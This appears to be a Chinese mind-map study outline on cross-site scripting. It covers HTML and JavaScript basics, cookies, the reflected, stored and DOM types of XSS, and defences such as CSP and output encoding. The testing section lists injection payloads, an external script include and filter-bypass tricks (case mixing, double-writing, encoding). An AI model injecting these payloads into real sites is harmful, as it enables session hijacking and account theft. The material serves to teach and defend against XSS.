XSS漏洞
2024-01-27 22:49:37 3 举报
AI智能生成
XSS漏洞
作者其他创作
大纲/内容
定义:超文本标记语言
<!doctype html> //声明文档类型,由渲染引擎解析<html> //根标签<head> //头部标签,<title></title> //标题标签 ,位于页面最上方定义浏览器工具栏中的标题</head><body> // 主体标签,给用户、浏览者看<!-- 在此处写注释 --></body></html><head> </head>和<body> </body>为并列关系<head> </head>和<title> </title>
HTML结构标准
<br/> // 换行<hr/> //水平分隔线<img /> //图片标签<input /> //输入标签<meta /> //HTML文档的元数据,机器可读,如<meta charset=UTF-8”/>
常见的单标签
<html></html><head></head><title></title><body></body><h1></h1> //大标题<p></p> //段落标签<div></div> //块标签,对内容样式控制、实现布局效果<a></a><ul></ul> //列表标签<form></form> //表单标记<select></select> //选项标签
常见的双标签
<form></form> 标签用于为用户输入创建 HTML 表单
定义和用法
password 密码框
Text:文本框
Submit:提交按钮
Maxlength:文本可以输入的最大长度
input元素
menus(菜单)
textarea(文本区域)
cellspacing单元格间距
元素
表单能够包含什么
用于向服务器传输数据
表单的作用
Action:规定当提交表单时向何处发送表单数据
Method:规定get还是post的方法传输
Name:规定表单名称
form表单的属性含义
作用:使用框架,你可以在同一个浏览器窗口中显示不止一个页面。
语法:<iframe src=\"URL\"> <!-- URL指向不同的页面 -->123 </iframe>
iframe标签
form标签
HTML 标签
HTML
可扩展标记语言:传输数据
XML
JavaScript是一种直译式的脚本语言、是一种动态类型、弱类型、基于原型的语言,内置支持类型。虽然JavaScript使用了Java这个名称,但实际上JavaScript与Java之间并没有任何关系。
定义
可以将文本动态的放入HTML页面
可以对事件做出响应
可以读写HTML元素
可被用来验证用户输入的数据
可被用来检测访问者的浏览器,并根据所检测到的浏览器,为这个浏览器载入相应的页面
可被用来创建cookies,用来存储和取回位于访问者的计算机中的信息
可利用Ajax技术来完成和服务器的直接通信,无刷新的修改当前HTML页面内容
功能
<script> JavaScript的内容(123、 ‘xss’)</script>
写在html的形式
<script type= “text/javascript” src= “js文件的路径“ />
引用文件的形式
HTML如何引入JavaScript
alert(’xss‘ “” // ``) 功能是产生一个带确认按钮的对话框,上面显示括号内的信息
confirm(“文本”) 拥有确定和取消的提示框
JavaScript的弹框函数
<a href= “demo.html” 事件= \"alert('1');\">test</a>
<img src=# 事件= “prompt(1)”/>
onmouseover 鼠标悬浮(鼠标移入目标元素上方)
onmouseout 鼠标离开(鼠标移出目标元素上方)
onmouseenter 鼠标进入(鼠标移入元素范围内触发)(该事件不冒泡)
onmouseleave 鼠标离开(鼠标移入元素范围内触发)(该事件不冒泡)
onmousedown 鼠标按下
onmouseup 鼠标抬起
onclick:单击
ondblclick:双击
鼠标事件
JavaScript的事件
JS( JavaScript )
本地 Cokie 是服务器端脚本语言向客户端发送 Cookie 时制定了时效,也就是 Expire 字段,而且会存储于本地,当 Expire所制定的时效过期后,Cookie 将失效。
本地cookie
Session Cookie 则没有制定 Expire 时效,是存储在浏览器内存中的,当浏览器关闭后,Session Cookie也随之消失
Session Cookie
表现形式
会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
个性化设置(如用户自定义设置、主题等)
浏览器行为跟踪(如跟踪分析用户行为等)
作用
Cookie
session是存在服务器的一种用来存放用户数据的类HashTable结构
session
cookie数据保存在客户端(浏览器),session数据保存在服务器端
存储位置不同
单个cookie保存的数据不能超过4KB,很多浏览器都限制一个站点最多保存20个cookie。(Session没有对存储的数据量的限制,其中可以保存更为复杂的数据类型)
存储容量不同
cookie只能保管ASCII字符串,并需要通过编码方式去存储数据;session能够存储任何类型的数据。
存储方式不同
服务器压力不同
cookie和session的区别
cookie和session
HTML和JS基础
恶意的web访问者将脚本植入到提供给用户使用的页面中,通常是使用JavaScript编写的危险代码,当用户使用浏览器访问页面时,脚本会被执行,从而达到攻击者目的。
网站弹框
网站挂马
会话劫持
Cookie被盗取
用户提权
盗号
DDOS
蠕虫攻击
危害
寻求注入点,数据有交互的地方,Dom自己玩自己
搜索关键字,显示输出变量。(‘/“&<>)<>/script
跟踪变量是否过滤
挖掘
XSS漏洞原理
主要用于将恶意脚本附加到URL地址的参数中
前端
产生层面
一次性
前端执行
不会储存在后端数据库
漏洞特征
服务器接收并响应
受害者向服务器发送请求
攻击者通过Email向受害者发送xss链接和恶意脚本
攻击原理
反射型
此类XSS不需要用户单击特定URL就能执行跨站脚本。攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中。当受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。
后端
持久性的
储存在后端数据库
攻击者向服务器上传xss代码
die() //函数输出一条消息,并退出当前脚本
trim() //函数从字符串的两端删除空白字符和其他预定义字符
stripslashes() //删除反斜杠
mysql_real_escape_string() //转义 SQL 语句中使用的字符串中的特殊字符
mysql_query(query) //mysql_query() 函数执行一条 MySQL 查询
mysql_error() //返回上一个 MySQL 操作产生的文本错误信息
函数
储存型
DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的过滤,应用程序就可能受到基于DOM的XSS攻击。自己弹自己
前端、特殊的反射型XSS
一次性的
程序执行不依赖于服务器端的数据
web server不参与,仅仅涉及到浏览器的XSS
<body>、<p>、<ul>之类的元素在文档中的布局形成了文档的结构,它们即是元素节点
元素节点
文档通常会包含一些内容,这些内容多数由文本提供
文本节点
元素或多或少都有一些属性,属性用于对元素做出更具体的描述
属性节点
节点种类
由节点构成的集合
文档
XSS原理客户端的脚本程序可以通过DOM动态地检查和修改页面内容。程序执行不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。浏览器用户可以操纵DOM中的一些对象,例如URL、location等。用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的过滤和消毒,应用程序就可能受到基于DOM的XSS攻击。
原理
漏洞发生原因跟服务器解析无关,纯粹是JS代码读取了URL内容导致。dom-xss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的
与之前两类XSS漏洞区别
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
JS代码中可能触发DOM型XSS的属性
DOM型
<script>location='https://www.baidu.com'</script>
跳转页面
<script>alert(documet.cookie)</script>
弹出cookie(如果有cookie的话)
利用JS脚本
XSS漏洞分类与利用
找到测试点(搜索框、留言板)
根据测试流程首先实验一些特殊符号的输入。发现可以正常输出,说明后台并没有进行相关的过滤。例子:'<>?\"&/6666
如果有过滤则进行相关的绕过
手工测试是否有xss漏洞
<script>alert(1)</script>
<script src=http://baidu.cn/xss/xss.js></script>
‘><script>alert(1)</script>
<script>
<img src=x onerror=alert(/xss/)>
<img src=javascript:alert(1)>//版本,E7.0|IE6.0,才能执行
<img src=# onmouseover=\"alert(1)\">
<img>
\"> <a href=javascript:alert('xss') >
\"> <a href= \"\" onclick=\"alert(1)\"> xss</a>
<a>
xss常见语句
<ScRiPt>alert(1)</ScRiPt>
大小写绕过
<sc<script>ript>alert(/xss/)</script>
双写绕过
`` 绕过单双引号的过滤
反引号绕过
\"> <script>alert(1)</script>
关闭标签(利用<>关闭标签)
< a href= > 1 </a>
超链接标签
< img src=1 onerror=alert(1)>
图片链接绕过
编码绕过(八进制、十进制、十六进制编码、html实体编码、url编码、base64)
空格、回车、换行符、tab、混淆
XSS漏洞绕过方法
XSS漏洞挖掘与绕过
Content Security Policy禁止加载外域代码,防止复杂的攻击逻辑。禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。禁止未授权的脚本执行(新特性,Google Map 移动版在使用)
CSP内容安全策略
通过设置HttpOnly防止cookie被窃取
输入输出检查(包括前端js和后端php)
对用户提交的数据进行检查,只接受指定长度范围内、采用适当格式和预期字符的输入,其余一律过滤。
白名单验证
对包含XSS代码特征的内容进行过滤,如“<”、 “>”、”script”、”#”
黑名单验证
• < 转成<• > 转成>• & 转成&•“ 转成"•‘转成'
对所有输出字符进行HTML编码
XSS漏洞防御
XSS
0 条评论
回复 删除
下一页